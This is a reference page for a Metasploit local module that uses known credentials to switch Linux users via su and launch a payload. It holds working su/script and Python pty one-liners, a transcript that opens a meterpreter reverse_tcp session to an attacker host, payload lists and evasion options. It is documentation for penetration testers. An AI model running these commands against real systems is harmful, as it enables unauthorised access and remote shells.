Login to Another User with Su on Linux / Unix Systems - Metasploit
This page contains detailed information about how to use the exploit/linux/local/su_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Login to Another User with Su on Linux / Unix Systems
Module: exploit/linux/local/su_login
Source code: modules/exploits/linux/local/su_login.rb
Disclosure date: 1971-11-03
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module attempts to create a new login session by invoking the su command of a valid username and password. If the login is successful, a new session is created via the specified payload. Because su forces passwords to be passed over stdin, this module attempts to invoke a psuedo-terminal with python, python3, or script.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/su_login
msf exploit(su_login) > show targets
... a list of targets ...
msf exploit(su_login) > set TARGET target-id
msf exploit(su_login) > show options
... show and set options ...
msf exploit(su_login) > set SESSION session-id
msf exploit(su_login) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module attempts to create a new login session by invoking the su command of a valid username and password. If the login is successful, a new session is created via the specified payload. While this functionality can be reproduced by a TTY shell, a hacker might want to switch users with a meterpreter session, or simply have all of their shells managed in one place.
The su command is used in Linux and Unix environments to change to another user in Linux. We can use this
command to launch our payload as another user by running su - [username] -c [payload]. However, because
you cannot pass in the password into su directly, we have to get a little more crafty. By running a command
in sh, we can pipe the output to our su command (kind of) by using the following command:
sh -c 'sleep 1; echo [password]' | script /dev/null -qc 'su - [username] -c [payload]'.
Working example: sh -c 'sleep 1; echo lamepassword' | script /dev/null -qc 'su - admin -c /tmp/shell'
In order for the above example to work, the script command must be apart of the util-linux version 2.26+
package. If this is not the case, this module can attempt to use Python's pty library.
Working example: python -c "import os, pty, base64; os.close(0); pty.spawn('su - admin -c /tmp/shell'.split(), lambda fd: os.read(fd, 1024), lambda fd: 'lamepassword')"
Verification Steps
- Start
msfconsole - Get a session
- Get valid target username and password
- Do:
use exploit/linux/local/su_login - Do:
set SESSION [SESSION] - Do:
set USERNAME [USERNAME] - Do:
set PASSWORD [PASSWORD] - Do:
set PAYLOAD linux/x86/meterpreter/reverse_tcp - Do:
set LHOST [LHOST] - Do:
set LPORT [LPORT] - Do:
run - You should get a new session as the specified user
Options
### USERNAME The username of the user to switch to
### PASSWORD The password of the user to switch to
Scenarios
meterpreter > getuid
Server username: tester @ edf3515e4c8f (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > background
[*] Backgrounding session 1...
msf > use exploit/linux/local/su_login
msf exploit(linux/local/su_login) > set SESSION 1
msf exploit(linux/local/su_login) > set USERNAME admin
msf exploit(linux/local/su_login) > set PASSWORD lamepassword
msf exploit(linux/local/su_login) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/su_login) > set LHOST 192.168.3.193
msf exploit(linux/local/su_login) > set LPORT 4445
msf exploit(linux/local/su_login) > run
[*] Started reverse TCP handler on 192.168.3.193:4445
[*] Uploading payload to target
[*] Attempting to login with su
[*] Sending stage (976712 bytes) to 172.17.0.2
[*] Meterpreter session 2 opened (192.168.3.193:4445 -> 172.17.0.2:39868) at 2020-09-23 04:26:49 -0400
meterpreter > getuid
Server username: admin @ 59f089909a39 (uid=1001, gid=1001, euid=1001, egid=1001)
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Msfconsole Usage
Here is how the linux/local/su_login exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/su_login
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/su_login) > show info
Name: Login to Another User with Su on Linux / Unix Systems
Module: exploit/linux/local/su_login
Platform: Linux, Unix
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 1971-11-03
Provided by:
Gavin Youker <[email protected]>
Available targets:
Id Name
-- ----
0 Linux x86
1 Linux x86_64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password to authenticate with.
SESSION yes The session to run this module on.
USERNAME root yes Username to authenticate with.
Payload information:
Description:
This module attempts to create a new login session by invoking the
su command of a valid username and password. If the login is
successful, a new session is created via the specified payload.
Because su forces passwords to be passed over stdin, this module
attempts to invoke a psuedo-terminal with python, python3, or
script.
Module Options
This is a complete list of options available in the linux/local/su_login exploit:
msf6 exploit(linux/local/su_login) > show options
Module options (exploit/linux/local/su_login):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password to authenticate with.
SESSION yes The session to run this module on.
USERNAME root yes Username to authenticate with.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux x86
Advanced Options
Here is a complete list of advanced options supported by the linux/local/su_login exploit:
msf6 exploit(linux/local/su_login) > show advanced
Module advanced options (exploit/linux/local/su_login):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/su_login module can exploit:
msf6 exploit(linux/local/su_login) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x86
1 Linux x86_64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/su_login exploit:
msf6 exploit(linux/local/su_login) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
17 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
18 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
19 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
20 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
21 payload/linux/x86/read_file normal No Linux Read File
22 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
25 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
26 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
28 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
32 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
33 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
34 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
35 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/su_login exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/su_login) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Error Messages
- username not found
- su not found on target machine
- One of the following programs must be installed on target: python, python3, script
- The '<COMMAND>' must be installed on target
- The 'script' program must be of the 'util-linux' package
- The package 'util-linux' must be version 2.25 or higher
- directory '<DIR>' is on a noexec mount point
- Authentication failure
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
username not found
Here is a relevant code snippet related to the "username not found" error message:
65: ])
66: end
67:
68: # Main function to run the exploit.
69: def exploit
70: fail_with(Failure::NoAccess, 'username not found') unless user_exists(datastore['USERNAME'])
71:
72: # Upload the payload and stager files.
73: print_status('Uploading payload to target')
74: payload_file = build_payload(generate_payload_exe, datastore['WritableDir'])
75:
su not found on target machine
Here is a relevant code snippet related to the "su not found on target machine" error message:
80:
81: # Function to check if target is exploitable.
82: def check
83: # Make sure su is installed.
84: unless command_exists?('su')
85: vprint_error('su not found on target machine')
86: return CheckCode::Safe
87: end
88:
89: # Make sure a program to run the exploit is installed.
90: prorgam = find_exec_program
One of the following programs must be installed on target: python, python3, script
Here is a relevant code snippet related to the "One of the following programs must be installed on target: python, python3, script" error message:
87: end
88:
89: # Make sure a program to run the exploit is installed.
90: prorgam = find_exec_program
91: unless prorgam
92: vprint_error('One of the following programs must be installed on target: python, python3, script')
93: return CheckCode::Safe
94: end
95:
96: # Make sure script requirements are met.
97: if prorgam == 'script'
The '<COMMAND>' must be installed on target
Here is a relevant code snippet related to the "The '<COMMAND>' must be installed on target" error message:
97: if prorgam == 'script'
98: # Check for command dependencies.
99: commands = ['sh', 'sleep', 'echo', 'base64']
100: for command in commands
101: unless command_exists?(command)
102: vprint_error("The '#{command}' must be installed on target")
103: return CheckCode::Safe
104: end
105: end
106:
107: # Check that the script program is apart of the util-linux package.
The 'script' program must be of the 'util-linux' package
Here is a relevant code snippet related to the "The 'script' program must be of the 'util-linux' package" error message:
105: end
106:
107: # Check that the script program is apart of the util-linux package.
108: version = find_util_linux_verison
109: unless version
110: vprint_error("The 'script' program must be of the 'util-linux' package")
111: return CheckCode::Safe
112: end
113:
114: # Check that util-linux in of a compatible version.
115: unless version >= Rex::Version.new('2.25')
The package 'util-linux' must be version 2.25 or higher
Here is a relevant code snippet related to the "The package 'util-linux' must be version 2.25 or higher" error message:
111: return CheckCode::Safe
112: end
113:
114: # Check that util-linux in of a compatible version.
115: unless version >= Rex::Version.new('2.25')
116: vprint_error("The package 'util-linux' must be version 2.25 or higher")
117: return CheckCode::Safe
118: end
119: end
120:
121: return CheckCode::Appears
directory '<DIR>' is on a noexec mount point
Here is a relevant code snippet related to the "directory '<DIR>' is on a noexec mount point" error message:
121: return CheckCode::Appears
122: end
123:
124: # Function to build and write the payload.
125: def build_payload(contents, dir)
126: fail_with(Failure::NoAccess, "directory '#{dir}' is on a noexec mount point") if noexec?(dir)
127:
128: filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"
129:
130: write_file(filepath, contents)
131: chmod(filepath, 755)
Authentication failure
Here is a relevant code snippet related to the "Authentication failure" error message:
159: end
160:
161: # Execute the exploit.
162: response = cmd_exec(command)
163:
164: fail_with(Failure::NoAccess, 'invalid password') if response.to_s.include?('Authentication failure')
165: return true
166: end
167:
168: def find_exec_program
169: return 'python' if command_exists?('python')
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Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
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See Also
Check also the following modules related to this module:
- exploit/android/local/su_exec
- exploit/linux/local/asan_suid_executable_priv_esc
- exploit/linux/local/kloxo_lxsuexec
- exploit/linux/local/ktsuss_suid_priv_esc
- exploit/linux/local/omniresolve_suid_priv_esc
- exploit/linux/local/ptrace_sudo_token_priv_esc
- exploit/linux/local/sudo_baron_samedit
- exploit/linux/local/zpanel_zsudo
- exploit/linux/local/zyxel_suid_cp_lpe
- exploit/linux/http/asuswrt_lan_rce
- exploit/linux/http/samsung_srv_1670d_upload_exec
- exploit/linux/http/suitecrm_log_file_rce
- exploit/linux/http/supervisor_xmlrpc_exec
- exploit/linux/imap/imap_uw_lsub
- exploit/linux/misc/asus_infosvr_auth_bypass_exec
- exploit/linux/misc/netsupport_manager_agent
- exploit/linux/pop3/cyrus_pop3d_popsubfolders
- exploit/linux/upnp/dlink_dir859_subscribe_exec
- exploit/windows/http/hp_power_manager_login
- exploit/windows/imap/mailenable_login
- exploit/windows/imap/mercur_login
- exploit/windows/imap/mercury_login
- exploit/windows/scada/realwin_on_fcs_login
- exploit/dialup/multi/login/manyargs
- exploit/linux/http/airties_login_cgi_bof
- exploit/linux/http/belkin_login_bof
- exploit/linux/http/crypttech_cryptolog_login_exec
- exploit/linux/http/dlink_hnap_login_bof
- exploit/linux/http/netsweeper_webadmin_unixlogin
- exploit/linux/misc/hp_vsa_login_bof
- exploit/osx/afp/loginext
- exploit/windows/brightstor/lgserver_rxrlogin
- exploit/windows/http/dup_scout_enterprise_login_bof
- exploit/windows/http/solarwinds_fsm_userlogin
- exploit/windows/misc/hp_dataprotector_dtbclslogin
Authors
Gavin Youker [email protected]
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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